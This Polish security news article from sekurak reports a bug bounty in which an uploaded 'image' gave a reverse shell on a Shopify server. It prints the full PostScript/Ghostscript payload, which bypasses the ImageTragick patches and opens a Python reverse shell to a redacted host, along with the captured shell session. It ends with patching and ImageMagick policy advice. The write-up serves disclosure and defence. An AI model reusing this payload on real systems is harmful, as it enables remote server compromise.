Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
(nie)zwykły obrazek w plaformie shopify umożliwił dostanie się na serwer (a następnie otrzymanie ~60000 PLN)
Kit to wirtualny pracownik oferowany przez platformę shopify. Nie dość że „pracuje za darmo” ;) to czasem pozwala nieźle zarobić. Tym razem zarobek został osiągnięty w dość niekonwencjonalny sposób. W pewnym miejscu można było do aplikacji zuploadować obrazek. Niektórzy z czytelników pomyślą – aha, w takim razie zamiast obrazka można było wgrać plik wykonywalny np.: test.php, test.jsp czy inny test.py. Nic z tych rzeczy – shopify umożliwiał jedynie na upload plików JPG/PNG/GIF.
Jaki był więc następny krok? Wystarczyło w treści pliku umieścić kawałek PostScriptu. Dlaczego akurat PostScript? Jest to jedna z metod na obejście oryginalnych łat na podatność ImageTragick (warto przy okazji przypomnieć sobie wykorzystanie właśnie oryginalnej luki ImageTragick w Facebooku – błąd warty $40 000).
Wracając do naszej luki – plik JPG wyglądał tak:
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("█████",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') currentdevice putdeviceprops
Po wgraniu go na serwer, po pewnym czasie odpalał reverse shella:
Listening on [0.0.0.0] (family 0, port 8080) Connection from [52.38.69.6] port 8080 [tcp/http-alt] accepted (family 2, sport 35486) sh: no job control in this shell sh-4.2$ whoami whoami deploy sh-4.2$ ls ls app bin config config.ru db deploy dev.yml doc ...
Dalej zostało już tylko pobuszować na serwerze i zgłosić błąd do ekipy shopify (wypłacono za niego $15 000).
Wnioski? Pamiętajmy o regularnych łatach (co może być czasem trudne – np. w przypadku gdy aplikacja korzysta z ręcznie wgrywanych bibliotek – np. ImageMagick). W samym ImageMagick (plik policy.xml) warto wyłączyć obsługę „dziwnych” plików.
–ms